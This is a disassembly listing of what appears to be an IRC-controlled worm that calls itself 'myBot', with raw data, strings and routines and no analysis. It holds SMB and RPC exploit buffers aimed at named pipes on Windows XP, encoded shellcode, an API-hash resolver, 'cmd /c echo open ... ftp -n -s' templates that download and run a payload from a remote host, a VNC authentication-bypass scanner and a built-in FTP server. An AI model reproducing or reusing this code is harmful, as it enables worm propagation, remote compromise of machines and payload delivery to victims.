'Scanning IP: %s, Port: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 10h db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40CD85+B2o align 4 dword_432088 dd 10FF8h, 0 ; DATA XREF: sub_40CD85+6Ao dword_432090 dd 10FF8h ; DATA XREF: sub_40CD85+79o dword_432094 dd 7FFDF020h, 0 ; DATA XREF: sub_40CD85+162o dword_43209C dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40D1AF+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_432124 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D1AF+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_432154 dd 0 ; DATA XREF: sub_40D1AF+44o dd 800000D4h, 0 unk_432160 db 81h ; ; DATA XREF: sub_40D289+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_4321AC db 41h ; DATA XREF: sub_40D327+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h ; =============== S U B R O U T I N E ======================================= sub_4321F0 proc near ; DATA XREF: ___:0040D606o push ebx push esi push edi sub sp, 80h mov esi, esp call sub_4322EC push dword ptr [esi] push 63D61209h call sub_432302 mov [esi+8], eax call sub_4322B5 push dword ptr [esi+4] push 0CA2BD06Bh call sub_432302 mov [esi+0Ch], eax call sub_432267 push dword ptr [esi+4] push 4C0297FAh call sub_432302 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_4321F0 endp ; =============== S U B R O U T I N E ======================================= sub_432267 proc near ; CODE XREF: sub_4321F0+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_432290 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_432267 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_432290 proc near ; CODE XREF: sub_432267+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_43229F: ; CODE XREF: sub_432290+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_4322AC inc ebx jmp short loc_43229F ; --------------------------------------------------------------------------- loc_4322AC: ; CODE XREF: sub_432290+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_432290 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4322B5 proc near ; CODE XREF: sub_4321F0+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_4322CD: ; CODE XREF: sub_4322B5+1Ej cmp [ecx], ebx jz short loc_4322D5 mov ecx, [ecx] jmp short loc_4322CD ; --------------------------------------------------------------------------- loc_4322D5: ; CODE XREF: sub_4322B5+1Aj mov edx, edi loc_4322D7: ; CODE XREF: sub_4322B5+2Aj cmp [edx+4], ebx jz short loc_4322E1 mov edx, [edx+4] jmp short loc_4322D7 ; --------------------------------------------------------------------------- loc_4322E1: ; CODE XREF: sub_4322B5+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_4322B5 endp ; =============== S U B R O U T I N E ======================================= sub_4322EC proc near ; CODE XREF: sub_4321F0+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_4322EC endp ; =============== S U B R O U T I N E ======================================= sub_432302 proc near ; CODE XREF: sub_4321F0+16p ; sub_4321F0+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_432318: ; CODE XREF: sub_432302+33j jecxz short loc_432352 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_432325: ; CODE XREF: sub_432302+2Dj lodsb cmp al, ah jz short loc_432331 ror edi, 0Dh add edi, eax jmp short loc_432325 ; --------------------------------------------------------------------------- loc_432331: ; CODE XREF: sub_432302+26j cmp edi, [esp+20h+arg_0] jnz short loc_432318 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_432352: ; CODE XREF: sub_432302:loc_432318j ; sub_432302:loc_432352j jmp short loc_432352 sub_432302 endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= sub_432358 proc near ; DATA XREF: ___:0040D5B4o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_4323AA mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_432375: ; CODE XREF: sub_432358+38j jecxz short loc_4323A5 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_432380: ; CODE XREF: sub_432358+32j lodsb test al, al jz short loc_43238C ror edx, 0Dh add edx, eax jmp short loc_432380 ; --------------------------------------------------------------------------- loc_43238C: ; CODE XREF: sub_432358+2Bj cmp edx, [esp+arg_0] jnz short loc_432375 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_4323A5: ; CODE XREF: sub_432358:loc_432375j mov [esp+arg_0], ebx retn sub_432358 endp ; =============== S U B R O U T I N E ======================================= sub_4323AA proc near ; CODE XREF: sub_432358+7p ; FUNCTION CHUNK AT 004323E2 SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_4323C3 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_4323CE ; --------------------------------------------------------------------------- loc_4323C3: ; CODE XREF: sub_4323AA+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_4323CE: ; CODE XREF: sub_4323AA+14j pop edi xor esi, esi pusha push esi jmp short loc_4323E2 sub_4323AA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4323D5 proc near ; CODE XREF: sub_4323AA:loc_4323E2p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_4323D5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4323AA loc_4323E2: ; CODE XREF: sub_4323AA+29j call sub_4323D5 loc_4323E7: ; DATA XREF: sub_40CD85+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_4323AA ; --------------------------------------------------------------------------- dw 0 dword_4323EC dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD85+2F5o dword_4323F8 dd 30h ; DATA XREF: sub_40CD85+2CAo dword_4323FC dd 0A1h ; DATA XREF: sub_40CD85+29Fo dword_432400 dd 3 ; DATA XREF: sub_40CD85+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40CD85+153o align 4 loc_43240C: ; DATA XREF: sub_40CD85+E8o jmp short near ptr dword_432414 ; --------------------------------------------------------------------------- db 6 dup(90h) dword_432414 dd 0 ; CODE XREF: ___:loc_43240Cj aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: ___:0040D5DBo db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 4 dword_43247C dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: ___:0040E01Eo ; ___:0040E158o dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_4324C8 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_40DCEA+123o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_43282C dd 20h, 0 ; DATA XREF: sub_40DCEA+136o dd 20h, 5C005Ch, 0 off_432840 dd offset aEmant ; DATA XREF: sub_40DCEA+15Do ; "emant" a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 align 10h dword_432880 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCEA+174o dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) off_4328B4 dd offset word_580046 ; DATA XREF: sub_40DCEA+45o dd offset loc_42004E dd offset word_580046 dd offset word_580046 dd offset loc_42004E dd offset word_580046 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '' db '' db '',0 dword_432990 dd 10016C6h ; DATA XREF: sub_40DCEA+104o dword_432994 dd 100139Dh ; DATA XREF: sub_40DCEA+FBo asc_432998: ; DATA XREF: sub_40DB4F+1Co ; sub_40DC32+16o unicode 0, <\\>,0 align 10h off_4329A0 dd offset dword_49005C ; DATA XREF: sub_40DB4F+Co ; sub_40DC32+Bo dd offset aLandes ; "Landes" dd 24h aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: ___:0040E226o ; ___:0041B90Co align 4 aTftpFileTransf db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: ___:0040E1D9o align 4 aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: ___:0040DF7Eo align 4 dword_432A08 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040E634o ; --------------------------------------------------------------------------- loc_432A14: ; CODE XREF: ___:00432A1Ej xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_432A14 inc edi jz short loc_432A5B and eax, 952CE753h inc esp jle short loc_432A83 push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_432A5B: ; CODE XREF: ___:00432A21j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_432ABA+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_432A80: ; CODE XREF: ___:00432AADj xor [esi-25h], bl loc_432A83: ; CODE XREF: ___:00432A29j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_432A9C: ; CODE XREF: ___:00432ACFj rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_432A80 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_432ABA: ; CODE XREF: ___:00432A61j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_432B46 jo short loc_432A9C fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_432ADD+1 add bl, [edi] loc_432ADD: ; CODE XREF: ___:00432AD9j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_432AF2+2 cmp ch, bh dec edx loc_432AF2: ; CODE XREF: ___:00432AEDj xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_432B46: ; CODE XREF: ___:00432ACDj mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_432BCC sub al, 0BCh jmp near ptr 54452F3Ah ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_432B68 dd 0EFFFC481h, 44FFFFh, 432BB4h ; DATA XREF: ___:0040E61Bo dword_432B74 dd 42Ah ; DATA XREF: ___:0040E5CEr dword_432B78 dd 3E8h ; DATA XREF: ___:0040E63Fr dword_432B7C dd 258h ; DATA XREF: ___:0040E611r byte_432B80 db 1 ; DATA XREF: ___:0040E57Ar ; ___:0040E648r align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_432B98 dd 20804h ; DATA XREF: sub_40E288r ___:0040E666o ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00432B84o align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_432BCC: ; CODE XREF: ___:00432B50j push eax xor al, 29h loc_432BCF: ; DATA XREF: ___:0040E5A2o add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 8 dword_432BD8 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:0040E4D2o dword_432BEC dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:0040E476o aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040E405o align 4 aSIpc db '\\%s\ipc$',0 align 10h aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40E9CB+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_432C94 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAB9+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040EDF5o align 4 aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040EC82o align 4 word_433ED8 dw 1 ; DATA XREF: ___:0040EBF9r ; sub_41B4FB+24r ... align 4 dword_433EDC dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh ; DATA XREF: sub_41A152+21o dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh dd 0 dd 392C3003h, 5E5E207Ch, 32587256h, 7C205E5Eh, 312C3003h dd 3050207Ch, 46723377h, 796C6C75h, 31037C20h, 7C20382Ch dd 6E573020h, 3E204433h, 732520h, 20363232h, 6E617254h dd 72656673h, 6D6F6320h, 74656C70h, 0A2E65h, 20303531h dd 6E65704Fh, 20676E69h, 414E4942h, 6D205952h, 2065646Fh dd 61746164h, 6E6F6320h, 7463656Eh, 0A6E6F69h, 0 aRetr db 'RETR',0 align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 aXX db '%x%x',0Ah,0 align 4 aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aPort db 'PORT',0 align 4 a226TransferCom db '226 Transfer complete',0Ah,0 align 10h aList_0 db 'LIST',0 align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 4 aPasv db 'PASV',0 align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aI_0: ; DATA XREF: ___:00438010o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aA_0: ; DATA XREF: ___:0043801Co unicode 0, <A>,0 aType db 'TYPE',0 align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 4 dd offset dword_445750 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 aRest db 'REST',0 align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 4 aSyst db 'SYST',0 align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aPass_0 db 'PASS',0 align 4 a331PasswordReq db '331 Password required',0Ah,0 align 4 aUser_2 db 'USER',0 align 4 aSS_2 db '%s %s',0 align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 4 unk_4341BC db 2Dh ; - ; DATA XREF: sub_40FAA3+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_4341E4 db 0Dh,0Ah,0 ; DATA XREF: sub_40FAA3+2CFo ; sub_41A9BC+F2o align 4 aGet_0 db 'GET ',0 ; DATA XREF: sub_40FAA3+269o align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FEFE+F6o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FEFE+D3o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FEFE+97o ; sub_41AF2B+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FEFE+83o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FEFE:loc_40FF63o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_40FEFE+5Eo align 4 unk_434404 db 2Dh ; - ; DATA XREF: sub_410080+28Fo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_34 db ' failed to start worker thread, error %d',0 align 4 unk_43443C db 2Dh ; - ; DATA XREF: sub_410080+20Bo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 10h asc_434470: ; DATA XREF: sub_410080+157o unicode 0, <*>,0 aS_3 db '\%s',0 ; DATA XREF: sub_410080+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_410330+64Eo align 10h aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_410330+633o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_410330+618o align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_410330+589o align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_410330+561o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: 